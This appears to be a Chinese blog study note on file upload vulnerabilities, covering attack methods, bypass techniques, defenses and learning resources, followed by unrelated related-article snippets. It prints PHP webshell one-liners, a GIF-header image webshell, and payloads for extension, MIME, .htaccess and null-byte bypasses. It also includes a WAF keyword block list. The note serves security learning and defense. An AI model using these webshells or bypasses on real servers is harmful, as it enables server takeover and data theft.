文件上传漏洞学习笔记
一、漏洞概述
-
定义 文件上传漏洞指未对用户上传的文件进行充分安全校验,导致攻击者可上传恶意文件(如Webshell、木马),进而控制服务器或执行任意代码。
-
危害等级 ⚠️ 高危漏洞(通常CVSS评分7.0+),可能导致:
-
服务器完全沦陷
-
数据泄露
-
钓鱼攻击跳板
-
内网渗透入口
-
二、常见漏洞触发点
-
未校验文件类型 仅依赖前端JS验证或未校验Content-Type。
-
黑名单机制缺陷 漏掉冷门可执行后缀(如
.phtml,.php5)。 -
路径处理不当 用户可控制上传路径(如
filename=../../uploads/shell.php)。 -
未重命名文件 保留用户输入的文件名,导致覆盖或解析漏洞。
-
服务器配置错误 如Apache的
AddHandler错误配置导致文本文件按脚本解析。
三、攻击方式
1. 直接上传Webshell
-
经典PHP Webshell
php
-
<?php @eval($_POST['cmd']); ?>
-
绕过技巧:利用短标签
<?=、编码混淆、图片马注入。
2. 钓鱼文件攻击
-
上传伪装成图片/文档的恶意文件(如
invoice.pdf.exe)。
3. 配合其他漏洞利用
-
文件包含漏洞:上传含恶意代码的图片,通过LFI执行。
-
解析漏洞:IIS/nginx错误解析文件名(如
shell.php.jpg)。
四、绕过防御技巧
1. 前端绕过
-
禁用JS或修改前端校验代码(如删除
onsubmit事件)。
2. 黑名单绕过
-
尝试非常规后缀:
.php5,.phtml,.phar,.htaccess(Apache)。 -
大小写混合:
.PhP,.pHp。 -
双写后缀:
.pphphp→ 过滤后变为.php。
3. MIME类型绕过
-
修改Content-Type为合法类型:
httpContent-Type: image/png
4. 文件头伪造
-
在恶意文件头部添加合法标识:
php
GIF89a; <?php system($_GET['cmd']); ?>
5. .htaccess攻击(Apache)
-
上传覆盖
.htaccess文件,定义解析规则:apache
AddType application/x-httpd-php .abc
6. 特殊符号截断
-
%00截断(需PHP<5.3):
filename="shell.php%00.jpg"
7. 解析漏洞利用
-
IIS 6.0:
/uploads/shell.asp;.jpg被解析为ASP文件。 -
Nginx畸形路径:
/uploads/shell.jpg/.php错误解析为PHP。
五、防御方案
1. 白名单校验
-
文件扩展名:仅允许
.jpg,.png,.pdf等必要类型。 -
MIME类型:从服务器端检测
magic number(真实文件类型)。
2. 重命名文件
-
使用随机哈希值重命名(如
a3F8d9.jpg),避免用户控制文件名。
3. 存储隔离
-
上传目录禁止脚本执行(通过服务器配置):
nginx
location /uploads/ {deny all; }
4. 文件内容检测
-
检查图片文件的宽高属性,验证是否为真实图片。
-
使用杀毒引擎扫描上传文件。
5. 限制文件大小
-
设置合理的最大上传尺寸(如10MB)。
6. 日志与监控
-
记录所有上传行为,对异常文件(如
.php)触发告警。
7. WAF防护
-
配置规则拦截
<?php、eval(等危险关键词。
六、实战案例
-
Discuz! 任意文件上传漏洞 通过修改上传请求的
filename参数绕过后缀检测。 -
WordPress插件漏洞 某些插件未校验非Ajax上传路径,导致可直接上传PHP文件。
七、测试工具
-
Burp Suite 拦截修改上传请求,测试绕过逻辑。
-
Webshell管理工具 AntSword、Cknife、Behinder(需合法授权使用)。
八、学习资源
-
OWASP文件上传防护指南: Unrestricted File Upload | OWASP Foundation
-
Upload Labs靶场: GitHub搜索 "upload-labs" 练习绕过技巧
-
《Web安全攻防:渗透测试实战指南》第6章
相关文章:
文件上传漏洞学习笔记
一、漏洞概述 定义 文件上传漏洞指未对用户上传的文件进行充分安全校验,导致攻击者可上传恶意文件(如Webshell、木马),进而控制服务器或执行任意代码。 危害等级 ⚠️ 高危漏洞(通常CVSS评分7.0)ÿ…...
375_C++_cloud手机推送,添加人脸告警信息到任务队列中,UploadAlarmPush是典型的工厂模式应用,为什么使用工厂模式完成这部分代码
一:AlarmFaceInfo的应用 让我帮你解析这个lambda表达式的实现: // ...................... .h ...........................// struct RsMsgPushTask_S : public Task{AlarmType_E mainAlarmType;unsigned int subAlarmType;DateTime alarmTime...
Spring Boot 中的日志管理
一、日志框架选择 1. 主流框架对比 框架特点Spring Boot 默认支持Logback- 性能优异,Spring Boot 默认集成- 支持自动热更新配置文件✅ (默认)Log4j2- 异步日志性能更强- 支持插件扩展- 防范漏洞能力更好❌ (需手动配置)JUL (JDK自带)- 无需额外依赖- 功能简单&am…...
火绒终端安全管理系统V2.0网络防御功能介绍
火绒终端安全管理系统V2.0 【火绒企业版V2.0】网络防御功能包含网络入侵拦截、横向渗透防护、对外攻击检测、僵尸网络防护、Web服务保护、暴破攻击防护、远程登录防护、恶意网址拦截。火绒企业版V2.0的网络防御功能,多层次、多方位,守护用户终端安全。 …...
海康摄像头 + M7s(Monibuca) + FFmpeg + Python实现多个网络摄像头视频流推流
最近在研究流媒体服务器时,我注意到了一款开源软件——M7s。按照官网的指南部署完成后,我开始进行测试,发现单视频流推送非常顺利,没有任何问题。然而,当我尝试进行多视频流推送时,却发现网上的相关教程寥寥…...
抖音视频如何下载保存去水印
随着短视频平台的兴起,抖音作为国内最受欢迎的短视频平台之一,吸引了大量用户上传和观看各种创意视频。许多用户在浏览抖音视频时,往往会想要保存一些有趣或精彩的视频片段,但抖音视频通常会有水印,影响观看体验。为了…...
【鸿蒙开发】第三十九章 LazyForEach:数据懒加载
目录 1 背景 2 使用限制 键值生成规则 组件创建规则 首次渲染 非首次渲染 改变数据子属性 使用状态管理V2 拖拽排序 1 背景 LazyForEach从提供的数据源中按需迭代数据,并在每次迭代过程中创建相应的组件。当在滚动容器中使用了LazyForEach,框架…...
HTTP-
一.HTTP 1.什么是HTTP HTTP(超文本传输协议)是一种工作在应用层的协议.主要用于网站,就是浏览器和服务器之间的数据传输. 小知识:什么是超文本传输协议 文本:是字符串.(能在utf8/gbk码表上找到合法字符) 超文本:不仅可以传输字符串,也可以传输图片,html等 富文本:word文档 2.HT…...
创建型模式 - 原型模式 (Prototype Pattern)
创建型模式 -原型模式 (Prototype Pattern) 它允许通过复制现有对象来创建新对象,而无需知道对象的具体创建细节。在 Java 中,可以通过实现 Cloneable 接口和重写 clone() 方法来实现原型模式。 有深、浅两种克隆 类实现 Cloneable 接口就可以深克隆如果…...
Android 8.0 (API 26) 对广播机制做了哪些变化
大部分隐式广播无法通过静态注册接收,除了以下白名单广播: ACTION_BOOT_COMPLETED ACTION_TIMEZONE_CHANGED ACTION_LOCALE_CHANGED ACTION_MY_PACKAGE_REPLACED ACTION_PACKAGE_ADDED ACTION_PACKAGE_REMOVED 需要以动态注册方案替换: cl…...
Unity汽车笔记
汽车的移动和转向 我们知道,汽车的前进后退是变速运动。按w,汽车开始加速,到最大速度后保持匀速,松开w,汽车受到阻力加速。如果按s减速,则以更大的加速度减速。后退反之。 按A/D时前轮偏转。只有前进后退…...
html中rel、href、src、url的区别
1.url url(统一资源定位符):是对可以从互联网上得到的资源的位置和访问方法的一种简洁的表示,是互联网上标准资源的地址。 2.href href:Hypertext Reference的缩写。 意思是超文本引用。 3.rel rel:relatio…...
【idea问题排查技巧】
以下是针对 IDEA 中 日志打标(动态标记) 和 全链路追踪 功能的分步详解,结合具体场景和操作截图说明,帮助快速掌握实战技巧。 一、动态日志打标:不修改代码输出关键信息 1. 断点日志打印(非侵入式打标) 场景:在调试时,需要临时查看某个变量的值,但不想修改代码添加…...
SQL: DDL,DML,DCL,DTL,TCL,
Structured Query Language,结构化查询语言, 是一种用于管理和操作关系数据库的标准编程语言。 sql的分类 DQL(Data Query Language):数据查询语言 DDL(Data Definition Language):数据定义语…...
WordPress R+L Carrier Edition sql注入漏洞复现(CVE-2024-13481)(附脚本)
免责申明: 本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。 0x0…...
DeepSeek基础之机器学习
文章目录 一、核心概念总结(一)机器学习基本定义(二)基本术语(三)假设空间(四)归纳偏好(五)“没有免费的午餐”定理(NFL 定理) 二、重…...
QSplashScreen --软件启动前的交互
目录 QSplashScreen 类介绍 使用方式 项目中使用 THPrinterSplashScreen头文件 THPrinterSplashScreen实现代码 使用代码 使用效果 QSplashScreen 类介绍 QSplashScreen 是 Qt 中的一个类,用于显示启动画面。它通常在应用程序启动时显示,以向用户显…...
Python 循环嵌套
Python 循环嵌套 引言 在编程语言中,循环嵌套是一种常见且强大的编程技术。它允许开发者重复执行一段代码块,并在每个循环迭代中执行另一个循环。在Python中,循环嵌套广泛应用于数据分析和算法实现等领域。本文将详细介绍Python循环嵌套的概念、语法以及应用场景。 循环嵌…...
性能测试项目实战
项目介绍和部署 项目背景 轻商城项目是一个现在流行的电商项目。我们需要综合评估该项目中各个关键接口的性能,并给出优化建议,以满足项目上线后的性能需要。 项目功能架构 前台商城:购物车、订单、支付、优惠券等 后台管理系统:商…...
Web自动化之Selenium实战案例2:东方财富网股吧评论爬取
上一篇文章,我们使用Selenium完成了网页内文件的自动下载,本文我们将使用Selenium来爬取东方财富网股吧内笔记的评论数据。 网页内容分析 网页内容的分析是web自动化中的关键一步。通过分析网页结构,我们可以确定需要抓取的数据位置以及操作元素的方式。…...
Python实战:三种GUI库打造可玩性五子棋(附完整源码)
1. 为什么用Python开发五子棋 五子棋作为经典策略游戏,用Python实现不仅能巩固编程基础,还能深入理解游戏逻辑与GUI交互。我最初选择用Python开发五子棋,就是看中它快速验证想法的特性——短短几十行代码就能看到棋子落在棋盘上的效果&#x…...
告别玄学调参!手把手教你用SX1262 LoRa模块实现5公里稳定通信(附完整代码)
告别玄学调参!手把手教你用SX1262 LoRa模块实现5公里稳定通信(附完整代码) 在物联网设备开发中,LoRa技术因其远距离、低功耗的特性成为许多项目的首选。但当你真正开始使用SX1262这类LoRa模块时,可能会发现实际通信距离…...
面试官:爆火视频点赞每秒 10w,数据库行锁直接卡死,你怎么破?
最近有个兄弟去面某短视频大厂,前面的架构设计聊得挺嗨,结果面试官最后抛出一个看似简单的“点赞”题,直接把他问到了自闭。 面试官: “现在有个爆火视频,比如春晚刘谦变魔术,一秒钟有 10 万人同时点赞。你…...
Alpine镜像构建卡在APKINDEX.tar.gz?可能是你的Dockerfile少了这行代码
Alpine镜像构建卡在APKINDEX.tar.gz?国内开发者必看的Dockerfile优化指南 当你满怀期待地执行docker build命令,却眼睁睁看着进度条卡在fetch http://dl-cdn.alpinelinux.org/alpine/v3.7/main/x86_64/APKINDEX.tar.gz这个步骤时,那种感觉就像…...
011、算子中间表示概述:计算图与算子抽象
011、算子中间表示概述:计算图与算子抽象 最近在优化一个推理引擎时遇到个头疼的问题:模型在GPU上跑得好好的,移植到边缘设备上就出精度问题。用传统调试手段跟了三天,最后发现是某个卷积算子在特定输入形状下触发了厂商驱动里的未公开量化行为。这件事让我重新审视算子中…...
Python接口自动化浅析unittest单元测试原理
🍅 点击文末小卡片 ,免费获取软件测试全套资料,资料在手,涨薪更快 这篇文章主要介绍了Python接口自动化浅析unittest单元测试原理,文中描述了单元测试,unittest模块特性、大致流程、源码及实战例子这几个模块ÿ…...
从复古游戏到电子墨水屏:聊聊Floyd-Steinberg抖动算法的那些神奇应用场景
从复古游戏到电子墨水屏:Floyd-Steinberg抖动算法的跨时代魔法 1983年,任天堂红白机设计师面临一个棘手问题:如何在仅支持52色的硬件上呈现《超级马里奥兄弟》中碧蓝的海水与翠绿的管道?答案藏在一项诞生于1976年的图像处理技术中…...
Cadence Virtuoso 6.17 保姆级教程:手把手教你完成一个简单放大器的瞬态仿真
Cadence Virtuoso 6.17 保姆级教程:手把手教你完成一个简单放大器的瞬态仿真 刚接触模拟IC设计时,最令人头疼的莫过于面对复杂的EDA工具却不知从何下手。Cadence Virtuoso作为行业标准工具,功能强大但学习曲线陡峭。本文将用最直观的方式&…...
三步解除极域电子教室控制:JiYuTrainer让你重获电脑操作自由
三步解除极域电子教室控制:JiYuTrainer让你重获电脑操作自由 【免费下载链接】JiYuTrainer 极域电子教室防控制软件, StudenMain.exe 破解 项目地址: https://gitcode.com/gh_mirrors/ji/JiYuTrainer 还在为课堂上被老师全屏控制电脑而束手无策吗?…...
告别图片重复困扰:AntiDupl.NET 图片去重工具完整使用指南
告别图片重复困扰:AntiDupl.NET 图片去重工具完整使用指南 【免费下载链接】AntiDupl A program to search similar and defect pictures on the disk 项目地址: https://gitcode.com/gh_mirrors/an/AntiDupl 你是否曾为电脑中大量重复图片占用宝贵存储空间而…...
